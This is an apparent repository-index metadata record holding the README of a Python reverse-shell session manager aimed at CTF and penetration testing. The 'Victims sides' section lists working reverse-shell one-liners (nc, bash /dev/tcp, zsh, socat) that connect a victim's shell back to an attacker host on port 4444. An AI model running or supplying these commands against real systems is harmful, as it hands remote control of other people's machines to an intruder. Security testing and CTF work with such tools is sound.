{"id":19261450,"url":"https://github.com/wangyihang/reverse-shell-manager","last_synced_at":"2025-04-09T12:07:19.903Z","repository":{"id":113354184,"uuid":"107918725","full_name":"WangYihang/Reverse-Shell-Manager","owner":"WangYihang","description":":hammer: A multiple reverse shell session/client manager via terminal","archived":false,"fork":false,"pushed_at":"2023-07-05T06:15:13.000Z","size":58,"stargazers_count":243,"open_issues_count":0,"forks_count":63,"subscribers_count":7,"default_branch":"master","last_synced_at":"2025-04-02T10:13:22.560Z","etag":null,"topics":["attack-defense","command-and-control","ctf","exploit","pentesting","pty","python","reverse-shell","socket","web-security"],"latest_commit_sha":null,"homepage":"https://github.com/WangYihang/Platypus","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/WangYihang.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2017-10-23T01:41:33.000Z","updated_at":"2025-03-05T20:09:57.000Z","dependencies_parsed_at":"2024-01-03T04:09:03.960Z","dependency_job_id":"207a3123-902e-4e8d-b9a2-770b72307238","html_url":"https://github.com/WangYihang/Reverse-Shell-Manager","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WangYihang%2FReverse-Shell-Manager","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WangYihang%2FReverse-Shell-Manager/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WangYihang%2FReverse-Shell-Manager/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WangYihang%2FReverse-Shell-Manager/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/WangYihang","download_url":"https://codeload.github.com/WangYihang/Reverse-Shell-Manager/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248036067,"owners_count":21037092,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["attack-defense","command-and-control","ctf","exploit","pentesting","pty","python","reverse-shell","socket","web-security"],"created_at":"2024-11-09T19:27:03.041Z","updated_at":"2025-04-09T12:07:19.879Z","avatar_url":"https://github.com/WangYihang.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Reverse Shell Manager\n\n```\nA multiple reverse shell sessions/clients manager via terminal\n```\n\n#### :heavy_exclamation_mark: :heavy_exclamation_mark: :heavy_exclamation_mark: \n**This project will not continue develope anymore.**  \n**The next generation of this project (Platypus) has been released at https://github.com/WangYihang/Platypus**  \n\n#### [**Platypus**](https://github.com/WangYihang/Platypus)\n  * More stable\n  * More features\n  * Upgrade common reverse shell session to full interactive seession\n  * Reverse shell as a Service\n  * RESTful API\n  * ...\n\n#### Attacker side\n\n\u003e Clone the code\n\n```bash\ngit clone https://github.com/WangYihang/Reverse-Shell-Manager\ncd Reverse-Shell-Manager\n```\n\n\u003e Install dependencies\n\n```\npip install poetry\npoetry install\n```\n\n\u003e Start the server\n\n```\npoetry run python Reverse-Shell-Manager.py 0.0.0.0 4444\n```\n\n#### Victims sides\n\n\u003e Linux\n\n```\nnc -e /bin/bash 1.3.3.7 4444\nbash -c 'bash -i \u003e/dev/tcp/1.3.3.7/4444 0\u003e\u00261'\nzsh -c 'zmodload zsh/net/tcp \u0026\u0026 ztcp 1.3.3.7 4444 \u0026\u0026 zsh \u003e\u0026$REPLY 2\u003e\u0026$REPLY 0\u003e\u0026$REPLY'\nsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444  \n```\n\n\u003e Windows\n\n```\nnc.exe -e /bin/bash 1.3.3.7 4444\n```\n\n#### Simple Example Video \n\n[![asciicast](https://asciinema.org/a/143640.png)](https://asciinema.org/a/143640)\n\n#### YouTube Example\n\u003e https://youtu.be/AoS-q1MGw30  \n\n\n#### TODO\n- [x] Add an item to crontab\n- [x] Delete an item from crontab\n- [ ] create a class to hold Master\n- [ ] select/epoll\n\n#### Bugs\n\n- [x] A victim is connected but didn't add to online list\n- [ ] socket stuck on rece()\n\n#### LICENSE\n\n```\nTHE DRINKWARE LICENSE\n\n\u003cwangyihanger@gmail.com\u003e wrote this file. As long as \nyou retain this notice you can do whatever you want \nwith this stuff. If we meet some day, and you think \nthis stuff is worth it, you can buy me the following\ndrink(s) in return.\n\nRed Bull\nJDB\nCoffee\nSprite\nCola\nHarbin Beer\netc\n\nWang Yihang\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwangyihang%2Freverse-shell-manager","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwangyihang%2Freverse-shell-manager","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwangyihang%2Freverse-shell-manager/lists"}